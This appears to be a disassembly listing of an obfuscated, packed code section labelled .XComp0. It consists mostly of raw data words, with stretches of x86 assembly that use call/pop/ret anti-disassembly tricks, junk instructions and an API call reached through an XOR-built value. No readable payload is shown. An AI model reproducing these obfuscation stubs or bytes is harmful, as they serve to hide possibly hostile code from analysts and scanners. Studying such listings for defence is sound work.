		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 4ADB3CC3h, 3EF7736Fh, 0DE8BD59Fh,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0F381FB8Bh, 42360ACAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h, 880D587Ch
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0F841C355h, 0D2376DADh, 5E8826Eh
		dd 27000000h, 836E95B5h, 4941BF66h, 0DD958B5Bh,	8B05F90Ch
		dd 0F926C18Dh, 0D59D0305h, 5005F91Fh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 6DC0D779h
		dd 0C595892Ch, 0F805F910h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0EFC35747h, 0C7A2BD0h, 6E984E0h, 99000000h
		dd 0B383C90Ch, 59BD8320h, 5F911h, 6D840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 564868C3h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 3F0E7268h, 66808D58h
		dd 8D8DF98Bh, 5F94EE8h,	6E960h,	0EEEC0000h, 7B2BAFAAh
		dd 1B1DBD89h, 666105F9h, 0FF5424BBh, 19D33E1h, 8305F933h
		dd 0F900FDBDh, 840F0005h, 3C7h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 7FC35242h, 890E11B6h, 0F907C18Dh
		dd 0FDBD8305h, 105F900h, 3B0840Fh, 8B660000h, 0FDBD83DFh
		dd 305F900h, 36A860Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0D8611BC3h, 0EDBD893Eh
		dd 6005F928h, 23D78166h, 0D98C6614h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 9FC35646h, 43DE2110h, 80D7AF86h
		dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 794C30C3h, 13E59D2Bh, 0C90A05F9h,	0CB840Fh
		dd 95310000h
		db 0B1h
dword_5B8EA1	dd 8B05F910h						; .XComp0:005CA656r
; ---------------------------------------------------------------------------
		test	[ecx+6005F925h], ebx
		mov	[ebp+5F91EF1h],	esi
		mov	edi, [ebp+5F920F1h]
		popa
		xor	eax, [ebp+5F9042Dh]
		push	0
		push	ebx
		call	sub_5B8EC9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8EC9	proc near		; CODE XREF: .XComp0:005B8EC1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B8EC9	endp

; ---------------------------------------------------------------------------
		db 0E7h, 54h, 83h
		db 0CCh
; ---------------------------------------------------------------------------
		movzx	ebx, dx
		mov	[ebp+5F92631h],	eax
		push	eax
		mov	[esp], eax
		mov	[ebp+5F92229h],	esi
		push	0
		mov	ebx, [ebp+5F911B5h]
		push	5E568669h
		mov	bl, 44h
		xor	dword ptr [esp], 5E498596h
		sbb	bl, 36h
		call	dword ptr [ebp+5F92AC5h]
		push	0
		push	esi
		call	sub_5B8F1A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8F1A	proc near		; CODE XREF: .XComp0:005B8F12p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5B8F1A	endp

; ---------------------------------------------------------------------------
		dw 3880h
		dd 85896ED9h, 5FCFC21h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0FDC35141h, 0A7A57FA2h, 0DF81E231h, 7B4B48A0h
		dd 1F0E9h, 91BD8B00h, 8B05F931h, 19858BDFh, 6A05FCFCh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 4391C355h, 1A62BEA3h, 0E3818552h,	45DAFA3Bh
		dd 0FE8h, 5AC7AD00h, 29E6689Ch,	0FA1ABA90h, 0FF1CE034h
		dd 0A9BD33h, 0C75F05F9h, 1800h,	0B1BB6600h, 0D2BB66A7h
		dd 1DB58BF2h, 6A05FCFCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0FAD5C356h,	0C1521E45h
		dd 667CDACEh, 858BDA8Bh, 5F92B89h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 82C35545h, 0B29190C6h, 0B2DB84E4h
		dd 2DED9D03h, 68905F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0CCC35343h, 69B6DB81h, 11E94F46h, 8000000h
		dd 7DA0B303h, 0F9B9D8B2h, 0CF2B8381h, 0D0EFFAF7h, 2599858Bh
		dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 46890BC3h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 57D411FCh, 34895067h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1F436DA1h, 0BD01A773h, 5F91845h,	0FC19B5FFh
		dd 1C6805FCh, 66D91052h, 815911BBh, 0B1E32404h,	8166270Eh
		dd 8D0644D3h, 0FCFC2185h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0CE339F2Ch
		dd 6658F394h, 8B50D88Bh, 240489FEh, 5EC096BFh, 38B0F33h
		dd 80000000h, 95FF30C3h, 5F92AC5h, 20800Fh, 6E80000h, 0C7000000h
		dd 0D253A88Eh, 0FE992h,	1F090000h, 1803FFF9h, 0B29F6536h
		dd 0B9EF9932h, 0B70F5B16h, 9D0361DEh, 5F91671h,	0FD85C7h
		dd 305F9h, 8F0F0000h, 6, 2535BD8Bh, 0BD8305F9h,	5FCFC21h
		dd 0D840F00h, 0B7000000h, 21E9F9h, 9D8B0000h, 5F91E01h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 1F3CC351h, 53006AF2h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0DC521BEAh, 0BD83DA0Bh
		dd 5F900FDh, 61850F03h,	6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 934BC351h
		dd 0F4B3519Ch, 21BD835Fh, 5FCFCh, 332840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 629591C3h, 0F25E4C3Fh, 0D9B70F03h, 0FC21B5FFh, 858905FCh
		dd 5F91389h, 1AAD95FFh,	858905F9h, 5F92BA1h, 0FC15B58Bh
		dd 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0DE2110C3h, 0D7AF8643h, 599D33A6h, 0C705F925h
		dd 1000106h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0B1C3801Eh, 50509217h, 61606052h
		dd 0F616160h, 52506031h, 585A310Fh, 89585A61h, 98BF2434h
		dd 0FF085D94h, 0FCFC21B5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 7F4E2D1Dh
		dd 7D9D8BB1h, 6605F921h, 0FF9367BFh, 0F9272995h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 4BBE4AA8h, 0FB8B8F35h, 0FC15B58Bh, 0BF6605FCh, 858BE9AFh
		dd 5F91809h, 89D88B66h,	0C486h,	29958900h, 0F05F90Dh, 485h
		dd 56BF6600h, 0DD958B06h, 3305F90Ch, 0F9143DBDh, 4C28305h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 26C35545h
		dd 0CBF4C1B8h, 0D78B2808h, 89205089h, 0F90B1985h, 0E9858D05h
		dd 6A05FD10h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 99DEC352h, 869BD8Bh, 868905F9h
		dd 0B8h, 0FEEEBF66h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 25C1EBC3h, 0B5FF5447h
		dd 5FCFC21h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	39C35242h, 0FE9B1C4h, 87000000h, 8C29AA18h, 0DE767B8Bh
		dd 4497FC0Ah, 95FFC0D5h, 5F90099h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0B2C35747h,	8B506F99h, 243489D9h
		dd 10A19D8Bh, 0B5FF05F9h, 5FCFC21h, 7798529h, 95FF05F9h
		dd 5F93569h, 1D9D8B60h,	6105F914h, 17F5BD83h, 0F0005F9h
		dd 2E84h, 8D895100h, 5F91AC9h, 11BD8B5Bh, 9605F905h, 0C30BB66h
		dd 12E950h, 4E7A0000h, 4293718Eh, 0C83402EAh, 1AE5B0B5h
		dd 933DA21Bh, 0FFDE8B96h, 0FCFC21B5h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0AA404076h, 0FF08DB80h, 0F92E6D95h, 0C1B58905h, 0FF05F90Fh
		dd 0FCFC21B5h, 459D8B05h, 0FF05F927h, 0F921DD95h, 65850105h
		dd 8305F920h, 0F90A2DBDh, 840F0205h, 48h, 0BB665B53h, 858BE949h
		dd 5F91151h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	87C35040h, 18016EC3h, 0FD41B14h, 58Bh, 4D8BB00h
		dd 89522F34h, 0F906F5BDh, 0C65F05h, 0D9D38000h,	331985C7h
		dd 5F9h, 0BD230000h, 5F934B1h, 0FFF44DE9h, 51006AFFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0DE8CBh, 0DB520000h,	6A8ABB0h, 0C17082C0h, 812F14FCh
		dd 3409DCDBh, 0C18B5F26h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0CCC35040h, 69C78221h, 8BE0191Fh
; ---------------------------------------------------------------------------


loc_5B95E8:				; CODE XREF: .XComp0:005B8906j
		lea	eax, [ebp+5F90DC1h]
		mov	bx, 246Ch
		jnb	loc_5B95F9
		cld


loc_5B95F9:				; CODE XREF: .XComp0:005B95F2j
		nop
		mov	di, 7F05h
		push	eax
		nop
		mov	[ebp+5F92E4Dh],	eax
		push	0
		push	0
		push	ecx
		call	sub_5B9613
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9613	proc near		; CODE XREF: .XComp0:005B960Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B9613	endp

; ---------------------------------------------------------------------------
		db 4Ch
		dd 0F2001058h, 6AFE8B05h, 859D8B00h, 8D05F906h,	0FDE1CC85h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0DF8B6613h, 0BD1EFBBh, 5C0837Ah,	71952960h
		dd 105F927h, 0F91689BDh, 51506105h, 895BF88Bh, 6AF52404h
		dd 0EDBD2B00h, 6A05F919h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 1DB80C6h, 0F90B618Dh
		dd 69BB6605h, 819D8B9Bh, 0FF05F934h, 0F913ED95h, 71E78105h
		dd 8D3CBADCh, 0FCE9838Dh, 0B4BB6605h, 66D1FFA2h, 31EFF381h
		dd 1785BD83h, 0F0105F9h, 0E085h, 0D8BF0F00h, 19880F56h
		dd 0E8000000h, 13h, 20ADBD5Ah, 0D991D965h, 47320865h, 0A7DCCEEBh
		dd 5FDD1C1Eh, 6A026A5Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B221C357h,	6604FED4h
		dd 0BD89F88Bh, 5F91225h, 14E86090h, 6E000000h, 80D972D5h
		dd 24A8E974h, 684BD370h, 0DAAB4ACFh, 50149FF7h,	5A310F52h
		dd 0B9665E58h, 5061D97Ch, 90FB8B66h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 7C35040h, 0AE8h, 0CD0F0700h
		dd 0C6E07EF6h, 0E95CC606h, 0Ah,	5FA0857Dh, 0ADBFCAEh, 665FCFF7h
		dd 95FFDA8Bh, 5F90099h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 60C35747h, 0D699EBB8h, 0E60E977h, 0E80000h
		dd 5D000000h, 0E1D6ED81h, 6A05FDh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 3D33A4C3h, 170BD73Ah
		dd 0BD8B237Ch, 5F905A5h, 0D97C858Dh, 98B305FCh,	8A0F90h
		dd 50000000h, 0DC60BF60h, 0CE8B6CA7h, 0FF649061h, 35h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 6450F5F0h, 2589h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 521C85C3h
		dd 57458DE7h, 81A12D6Eh, 26466ECBh, 7D85FF6Dh, 6A05F919h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 7815C357h, 24D8BFEFh, 0FF6A37FDh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4BC35242h, 59B4D8C7h
		dd 19C1D730h, 14A19D2Bh, 9D8B05F9h, 5F90009h, 159DB5FFh
		dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 47EC78C3h, 0B3A19DF5h, 0D259D8Bh,	8B6605F9h
		dd 1195FFDEh, 0E905F909h, 130h,	248D8531h, 0B005F9h, 0E652CF80h
		dd 9BE38070h, 950971E4h, 5F91039h, 3820Fh, 0BF0F0000h
		dd 0F613CDFh, 10783h, 2880F00h,	0B3000000h, 0C8B60F7Eh
		dd 25299589h, 6BA05F9h,	23000000h, 0F918199Dh, 9C18B05h
		dd 0F907B985h, 4E8C105h, 9958960h, 0E905F901h, 0Fh, 0C4500B42h
		dd 158FC8DEh, 6B9FF2Fh,	61C54487h, 0E9E2F766h, 0Bh, 38D2D1A9h
		dd 0D22B881Bh, 2B1CBCFAh, 0C93FBBC8h, 0D18B7D86h, 6E9FCh
		dd 85890000h, 5F90A61h,	1A95858Bh, 506005F9h, 2BDDBD89h
		dd 665B05F9h, 61169FBEh, 6007C083h, 0BE9h, 7435AE00h, 173C648Ch
		dd 0BA10577h, 8361F38Ah, 14E900C0h, 0CC000000h,	0C0D843D8h
		dd 815B0824h, 0B54AF8Dh, 0C5F57F72h, 3B969871h,	13830FD0h
		dd 8B000000h, 46E9D9h, 0F520000h, 8Eh, 0BF665F00h, 8D8BB246h
		dd 5F90AE9h, 0C7D78166h, 1E18324h, 26840Fh, 66520000h
		dd 5F2D9DBFh, 1291BD8Bh, 0A58305F9h, 5F90AE9h, 0FB8B66FEh
		dd 1A959589h, 816605F9h, 0E98A28CFh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+5FD5408h]
		mov	edi, edx
		mov	edi, [ebp+5F91EF5h]
		push	0
		push	0
		push	edx
		call	sub_5B9A47
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A47	proc near		; CODE XREF: .XComp0:005B9A3Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5B9A47	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		enter	2DFCh, 0D7h
		mov	[ebp+5F9246Dh],	esi
		or	[ebp+5F91219h],	esi
		call	dword ptr [ebp+5F91AEDh]
		push	0
		push	esi
		call	sub_5B9A79
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A79	proc near		; CODE XREF: .XComp0:005B9A71p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B9A79	endp

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		mov	ecx, 788h
		push	0
		push	eax
		call	sub_5B9A9A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A9A	proc near		; CODE XREF: .XComp0:005B9A92p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B9A9A	endp

; ---------------------------------------------------------------------------
		dw 8915h
		dd 0F91A91B5h, 0FCE18305h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0A8C35646h, 1180DC81h, 0C860Fh, 850F0000h
		dd 6, 820Fh, 6AFC0000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0C3C9C356h,	0EA79C388h
		dd 2B82AD57h, 11E9C0h, 11F70000h, 20A7DEDDh, 1817879Fh
		dd 0F0CE775Ah, 2BDC1C0Fh, 33ADF8D2h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 319256C3h, 0F919C98Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0AA6988h, 0F79F508Ch
		dd 81515B52h, 18F9ABE3h, 880D5F4Dh, 0B000000h, 0F925E1BDh
		dd 0DD958B05h, 8B05F90Ch, 0C18D8BD8h, 6A05F926h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 49C3C351h, 0A535391Fh, 664C3DE5h, 505FF5BFh,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0BFB80495h
		dd 8951F090h, 0B70FFB8Bh, 51006AF9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 45F1068Bh
		dd 0BD8324C3h, 5F91159h, 6B840F00h, 0E9000000h,	14h, 8B42FA80h
		dd 348B0721h, 0F66AD793h, 7D9EB87Dh, 0B86509D0h, 0B8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 78291E2Ah, 719D4513h, 0E88D8D40h, 6605F94Eh
		dd 0E1FFD98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0F3C35343h, 0BD8372D2h,	5F900FDh, 0F6840F00h, 0F5000004h
		dd 0FDBD83h, 0F0105F9h,	50384h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 180A92A0h
		dd 13E8D7h, 1C5F0000h, 10A8054Ch, 0F51CB6B0h, 6CF2B1E4h
		dd 0ED8028B7h, 0E8525FDDh, 0Eh,	99D673A0h, 5941D68Bh, 142982FBh
		dd 858996BAh, 5F907C9h,	0BD835B5Fh, 5F900FDh, 6B860F03h
		dd 0E9000004h, 10h, 536650DDh, 0B82D8FD0h, 0E88E07AEh
		dd 39D52F4Bh, 0F7816660h, 8C66A2EBh, 0DF8B66D9h, 6A04E180h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0B9C5C357h, 0E83AC46Ch, 3C98E737h, 315BBB66h
		dd 840FC90Ah, 12Fh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 93C35040h, 0C7F88B9Bh, 3879B3Fh, 13E9h
		dd 45873D00h, 13ADEE19h, 2717EC28h, 0F8B42962h,	0D3B952A6h
		dd 68E0Fh, 0BD0B0000h, 5F911FDh, 2599858Bh, 6A05F9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 29B427C3h, 0F910D19Dh, 31BD0305h, 3305F92Eh,	0F9042D85h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 50513FDDh, 52240489h, 2945BD8Bh,	6A5F05F9h
		dd 798D8900h, 6805F90Ch, 4088C354h, 0C5BE6660h,	0FE92Ah
		dd 900C0000h, 0B6F7DBE7h, 0B2C3AB99h, 9E2150EEh, 34816124h
		dd 97C0AB24h, 11E940h, 25D20000h, 0DCBF94AAh, 9D9195E6h
		dd 47D5A5E5h, 8B529C84h, 0F924A99Dh, 0C595FF05h, 905F92Ah
		dd 0F931B9B5h, 21858905h, 6A05FCFCh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2B16C350h
		dd 0D1AB17D0h, 279E9h, 0DDB58900h, 8B05F90Fh, 0FCFC1985h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A13838A9h, 0A8040540h, 0FD98B66h, 687h
		dd 119D8900h, 0C705F92Bh, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B9E3FA4h
		dd 1DB58BDEh, 6A05FCFCh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0CE95C352h,	0E5CF8166h
		dd 0D7816684h, 858B7745h, 5F92B89h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 1CC35343h, 7189829Bh, 0B4829C94h
		dd 0C820Fh, 7E90000h, 54000000h, 0CADD65DCh, 689F36Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0ECC35040h
		dd 0E60A8844h, 0E9EE31FBh, 14h,	5BDC236h, 0F20907BFh, 17DBC794h
		dd 7BF80F0Ch, 2377456Dh, 2599858Bh, 6A05F9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0CC4560C3h
		dd 4890A78Eh, 8166386Eh, 0E9AEE0CFh, 0Fh, 3CFEBCBCh, 3C6C7171h
		dd 6DCE6A5Fh, 89EF131Ah, 6A0446h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B3509FC3h, 243489BFh
		dd 318D8953h, 5B05F908h, 0FC19B5FFh, 958905FCh,	5F91669h
		dd 4E8h, 1F03FF00h, 50525000h, 0F525052h, 2 dup(0F585A31h)
		dd 0DE8B6631h, 5050585Ah, 5FD98B66h, 424448Bh, 0FE8h, 0B2E6F300h
		dd 16280DD3h, 0BB38723Ah, 8E909DCAh, 51008B5Fh,	895FC6B3h
		dd 0BF042444h, 6B7FED93h, 7E958h, 3B560000h, 68088B0Bh
		dd 21858D62h, 6A05FCFCh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 3C6EC357h, 0EF04741h
		dd 5090F88Dh, 6A90FE8Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0B8B3C353h,	31A406C4h
		dd 0BD8B6241h, 5F905E5h, 0FE9h,	0DEE47C00h, 0A395E868h
		dd 0C80006E8h, 67A03D31h, 2AC595FFh, 6A05F9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 8186CDC3h
		dd 42393212h, 0BF66FC08h, 6A611AD4h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A80C350h
		dd 3D1A8F27h, 85C7DE8Bh, 5F900FDh, 3, 830CF780h, 0FCFC21BDh
		dd 840F0005h, 36h, 167D9D03h, 46E905F9h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F773C350h, 29D59F3Eh, 0AC9FFF25h, 81DB589h,	305005F9h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 93EC647Ch, 0BD83F52Fh, 5F900FDh,	0D9850F03h
		dd 60000003h, 0A6BB66F8h, 0BD8361BEh, 5FCFC21h,	0C5840F00h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0E188C350h, 0B5FFBC99h, 5FCFC21h
		dd 0B399D8Bh, 95FF05F9h, 5F91AADh, 8BFE8B66h, 0FCFC15B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 5FC3C647h, 106C7h, 0D88B0001h, 0DA8B6650h
		dd 8B243489h, 0F91E01BDh, 0C59D8B05h, 0FF05F92Ch, 0FCFC21B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 3050D749h, 0BFBF6660h
		dd 1D8501B9h, 6105F928h, 272995FFh, 11E905F9h, 54000000h
		dd 0A1049C96h, 0C710D554h, 0B2812647h, 57A862F4h, 0FC15B58Bh
		dd 6A05FCh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 8DA3E8C3h, 366E1EA9h, 0EABB6A63h,	8B7B0F96h
		dd 0F9180985h, 0AE805h,	0F1BC0000h, 0D56564A3h,	0F88AED87h
		dd 6E9h, 6309A600h, 5B9EBE27h, 0C48689h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 73B2C6C3h, 0AA63F6E8h, 31CDBD2Bh, 8B5105F9h,	0F92B299Dh
		dd 958B5B05h, 5F90CDDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 71C35343h, 0B70F895Fh, 4C283FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 2BC35141h, 8B8BF315h
		dd 0F919BDBDh, 0D1A5BB05h, 508976DBh, 0CE920h, 53F80000h
		dd 9691ECE2h, 399B4957h, 858D68B9h, 5FD10E9h, 28A0Fh, 5FB30000h
		dd 0B88689h, 6A0000h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 1Bh, 0CDC35747h, 0D2F13D88h, 0FF8B4198h, 0FCFC21B5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 6830F30h, 8B000000h, 0F92AF19Dh,	9995FF05h
		dd 0BF05F900h, 71847B5Dh, 9DBB5096h, 963ABF67h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 60C35646h, 0FFBE071Eh
		dd 0FCFC21B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8A8FFF95h, 6995FFD8h
		dd 305F935h, 0F92CAD9Dh, 0F5BD8305h, 5F917h, 34840Fh, 33B30000h
		dd 50605250h, 5A310F52h, 2EB4BF58h, 5B611C38h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C6DDC356h, 0B5FF2FB9h, 5FCFC21h,	2955BD29h
		dd 95FF05F9h, 5F92E6Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0D8C35242h, 2D9D3374h, 0FF05F918h, 0FCFC21B5h
		dd 3D8D8905h, 0FF05F924h, 0F921DD95h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 6410DC31h, 0F9BB8830h, 0F518727h, 0BD83D8BFh, 5F90A2Dh
		dd 3E840F02h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 3CD6C351h, 58D0FE9h
		dd 66000000h, 930ACF81h, 8BE9DF80h, 0F9115185h,	0E5BD2B05h
		dd 0C605F90Ch, 8B660000h, 1985C7D9h, 5F933h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0A63AC355h, 52496C0Ch, 291CA512h,	0F927258Dh
		dd 0AE86005h, 12000000h, 6779F64Eh, 9E3E140Dh, 0D9BA662Bh
